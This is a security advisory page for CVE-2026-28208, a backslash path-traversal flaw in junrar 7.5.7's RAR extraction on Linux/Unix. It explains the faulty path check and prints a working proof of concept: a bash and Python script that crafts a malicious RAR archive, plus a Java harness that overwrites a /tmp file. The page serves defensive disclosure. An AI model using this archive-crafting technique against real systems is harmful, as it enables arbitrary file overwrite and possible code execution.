Advisory details:
github_osv / GHSA-j273-m5qq-6825
| Advisory ID | github_osv/GHSA-j273-m5qq-6825 |
| Aliases |
CVE-2026-28208
|
| Summary | Junrar has an arbitrary file write due to backslash Path Traversal bypass in LocalFolderExtractor on Linux/Unix ### Summary A backslash path traversal vulnerability in `LocalFolderExtractor` allows an attacker to write arbitrary files with attacker-controlled content anywhere on the filesystem when a crafted RAR archive is extracted on Linux/Unix. This can often lead to remote code execution (e.g., overwriting shell profiles, source code, cron jobs, etc). ### Details The `createFile()` method in [`LocalFolderExtractor.java`](https://github.com/junrar/junrar/blob/master/src/main/java/com/github/junrar/LocalFolderExtractor.java) validates extraction paths using `getCanonicalPath().startsWith()` to ensure files stay within the destination directory: ```java File f = new File(destination, name); String dirCanonPath = f.getCanonicalPath(); if (!dirCanonPath.startsWith(destination.getCanonicalPath())) { throw new IllegalStateException("Rar contains file with invalid path: '" + dirCanonPath + "'"); } ``` On Linux/Unix, backslashes are literal filename characters, not path separators. A RAR entry named `..\..\tmp\evil.txt` is treated by `getCanonicalPath()` as a single literal filename containing backslash characters — no `..` resolution occurs, and the `startsWith` check passes. However, `makeFile()` then splits the filename on backslashes and reconstructs the path using the platform's file separator: ```java final String[] dirs = name.split("\\\\"); // dirs = ["..", "..", "tmp", "evil.txt"] // ... path = path + File.separator + dirs[i]; // File.separator is "/" on Linux ``` This converts the literal backslashes into real directory traversal: `../../tmp/evil.txt`. The `extract()` method then opens a `FileOutputStream` on this path and writes the RAR entry's content to it, achieving arbitrary file write outside the extraction directory. On Windows this is not exploitable because backslashes are path separators, so `getCanonicalPath()` correctly resolves the `..` components and the `startsWith` check blocks the traversal. **Affected versions:** Tested on 7.5.7 (latest). Likely affects all versions that include the `makeFile()` backslash-splitting logic in `LocalFolderExtractor`. ### PoC (Files Below) **Prerequisites:** Linux/Unix system with Java 17+ and Maven installed. 1. Run `bash poc_setup.sh` which installs junrar 7.5.7 via Maven, creates a malicious RAR archive containing an entry with a backslash-traversal filename (`..\..\tmp\existing-file`), and creates `/tmp/existing-file` with the content "Existing File" to simulate a pre-existing file. 2. Run `mvn exec:java -Dexec.mainClass='com.test.BackslashTraversalPoC' -q` 3. Observe the output shows `/tmp/existing-file` was overwritten from "Existing File" to "Overwritten", confirming the file outside the extraction directory was written with attacker-controlled content. The PoC uses `Junrar.extract()` — the standard public API for extracting RAR archives. ### Impact Any application that extracts user-supplied RAR archives using junrar on Linux/Unix is vulnerable to arbitrary file write/overwrite with attacker-controlled content. This can often lead to RCE. This affects all Linux/Unix deployments. Windows is not affected. ## POC Files **poc_setup.sh** ``` #!/bin/bash # Setup script for junrar backslash path traversal PoC # Vulnerability: CWE-22/CWE-29 - Backslash path traversal bypass in LocalFolderExtractor # Package: com.github.junrar:junrar 7.5.7 (Java) set -e # Use the directory where this script lives as the working directory SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" cd "$SCRIPT_DIR" echo "=== Setting up junrar backslash path traversal PoC ===" echo "Working directory: $SCRIPT_DIR" # Clean up artifacts from previous runs rm -f malicious.rar rm -rf target extraction-output # Verify Java and Maven are available java -version 2>&1 | head -1 || { echo "ERROR: Java not found"; exit 1; } mvn -version 2>&1 | head -1 || { echo "ERROR: Maven not found"; exit 1; } # Create Maven project cat > pom.xml << 'POMEOF' <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>com.test</groupId> <artifactId>junrar-poc</artifactId> <version>1.0</version> <packaging>jar</packaging> <properties> <maven.compiler.source>17</maven.compiler.source> <maven.compiler.target>17</maven.compiler.target> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> </properties> <dependencies> <dependency> <groupId>com.github.junrar</groupId> <artifactId>junrar</artifactId> <version>7.5.7</version> </dependency> </dependencies> </project> POMEOF # Install dependencies echo "Installing junrar 7.5.7..." mvn dependency:resolve -q # Copy and compile PoC mkdir -p src/main/java/com/test cp poc.java src/main/java/com/test/BackslashTraversalPoC.java echo "Compiling PoC..." mvn compile -q # Verify junrar version echo "Installed: junrar 7.5.7" # Create the malicious RAR3 archive: # Entry 1: file with name "..\..\tmp\existing-file" containing "Overwritten" # # On Linux, createFile() validates the path using getCanonicalPath().startsWith(). # Since backslashes are literal characters on Linux, getCanonicalPath() does NOT # resolve the ".." components, so the check passes. makeFile() then splits on # backslashes and joins with File.separator (/), converting the literal backslashes # into real directory traversal: ../../tmp/existing-file python3 << 'PYEOF' import struct, zlib RAR3_MAGIC = b'Rar!\x1a\x07\x00' RAR_BLOCK_MAIN = 0x73 RAR_BLOCK_FILE = 0x74 RAR_BLOCK_ENDARC = 0x7b RAR_LONG_BLOCK = 0x8000 RAR_OS_UNIX = 3 RAR_M0 = 0x30 # Store (no compression) S_IFREG = 0o100000 def crc16(data): return zlib.crc32(data) & 0xFFFF def main_header(): # Standard RAR3 main archive header (non-encrypted) # After the 7-byte base block: HighPosAv (2 bytes) + PosAv (4 bytes) # junrar always reads exactly 6 bytes here (MainHeader.mainHeaderSize = 6) extra = struct.pack('<HI', 0, 0) # HighPosAv=0, PosAv=0 header_data = struct.pack('<BHH', RAR_BLOCK_MAIN, 0, 7 + len(extra)) + extra return struct.pack('<H', crc16(header_data)) + header_data def file_block(filename, file_data): fname = filename.encode('utf-8') data = file_data.encode('utf-8') mode = S_IFREG | 0o644 # UNP_VER=0: junrar's doUnpack() calls unstoreFile() when method==0x30, # then falls through to a switch on UNP_VER. Using 0 avoids matching any # decompression case (15/20/26/29/36), so only unstoreFile() runs. file_hdr = struct.pack('<LLBLLBBHL', len(data), len(data), RAR_OS_UNIX, zlib.crc32(data) & 0xFFFFFFFF, 0x5A210000, 0, RAR_M0, len(fname), mode) header_body = struct.pack('<BHH', RAR_BLOCK_FILE, RAR_LONG_BLOCK, 7 + len(file_hdr) + len(fname)) + file_hdr + fname return struct.pack('<H', crc16(header_body)) + header_body + data def endarc(): # junrar's EndArcHeader.isValid() requires flags=0x4000 and CRC=0x3DC4 header_data = struct.pack('<BHH', RAR_BLOCK_ENDARC, 0x4000, 7) crc = crc16(header_data) return struct.pack('<H', crc) + header_data archive = bytearray() archive += RAR3_MAGIC archive += main_header() # Backslash-separated path: on Linux, createFile() sees literal backslashes, # but makeFile() splits on them and joins with / archive += file_block('..\\..\\tmp\\existing-file', 'Overwritten\n') archive += endarc() with open('malicious.rar', 'wb') as f: f.write(archive) PYEOF echo "Created malicious.rar" # Create the target file so it can be validated before running the payload printf "Existing File\n" > /tmp/existing-file echo "" echo "=== Setup complete ===" echo "Validate: cat /tmp/existing-file (should show 'Existing File')" echo "Run PoC: mvn exec:java -Dexec.mainClass='com.test.BackslashTraversalPoC' -q" ``` **poc.java** ``` package com.test; import com.github.junrar.Junrar; import java.io.File; import java.nio.file.Files; import java.nio.file.Path; /** * PoC: Backslash path traversal bypass in junrar 7.5.7 * * A RAR archive containing an entry with backslash-separated ".." components * bypasses the createFile() canonical path validation on Linux and writes * files outside the extraction directory via makeFile()'s path reconstruction. */ public class BackslashTraversalPoC { static final String TARGET = "/tmp/existing-file"; static final String ARCHIVE = "malicious.rar"; public static void main(String[] args) throws Exception { File archive = new File(ARCHIVE); if (!archive.exists()) { archive = new File(new File(System.getProperty("user.dir")).getParent(), ARCHIVE); } // Step 1: Verify the pre-existing file (created by poc_setup.sh) File target = new File(TARGET); if (!target.exists()) { System.out.println("ERROR: " + TARGET + " not found. Run poc_setup.sh first."); System.exit(1); } System.out.println("Before extraction:"); System.out.println(" " + TARGET + " => " + Files.readString(Path.of(TARGET)).trim()); System.out.println(); // Step 2: Extract the malicious archive Path extractDir = Files.createTempDirectory("junrar-poc-"); System.out.println("Extracting " + archive.getAbsolutePath() + " into " + extractDir + " ..."); try { Junrar.extract(archive, extractDir.toFile()); } catch (Exception e) { System.out.println("Extraction error (may be expected): " + e.getMessage()); } System.out.println(); // Step 3: Show the result System.out.println("After extraction:"); String content = Files.readString(Path.of(TARGET)).trim(); System.out.println(" " + TARGET + " => " + content); System.out.println(); if (content.equals("Overwritten")) { System.out.println("VULNERABLE: junrar 7.5.7 backslash traversal overwrote " + TARGET); } else { System.out.println("NOT VULNERABLE: file contents unchanged"); } } } ``` |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 5.3 |
| Risk | 2.6 |
| Affected and Fixed Packages | Package Details |
| Introduced and Fixed Package Commit Patches | Package Commit Patches Details |
| System | Score | Found at |
|---|---|---|
| cvssv3.1 | 5.9 | https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-j273-m5qq-6825/GHSA-j273-m5qq-6825.json |
| generic_textual | MODERATE |
| Reference id | Reference type | URL |
|---|---|---|
| https://github.com/junrar/junrar | ||
| https://github.com/junrar/junrar/commit/947ff1d33f00f940aa68ae2593500291d799d954 | ||
| https://github.com/junrar/junrar/releases/tag/v7.5.8 | ||
| CVE-2026-28208 | https://nvd.nist.gov/vuln/detail/CVE-2026-28208 | |
| GHSA-j273-m5qq-6825 | https://github.com/junrar/junrar/security/advisories/GHSA-j273-m5qq-6825 |
No EPSS data available for this advisory.
| Patch URL | |
|---|---|
| There are no known patches. | |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
Vector: SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-03-02T20:47:10Z/
Decision: Track*
Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2026/28xxx/CVE-2026-28208.json
Source Advisory: vulnrichment/CVE-2026-28208
[{'Exploitation': 'poc'},
{'Automatable': 'no'},
{'Technical Impact': 'total'},
{'Mission Prevalence': 'minimal'},
{'Public Well-being Impact': 'material'},
{'Mission & Well-being': 'medium'}]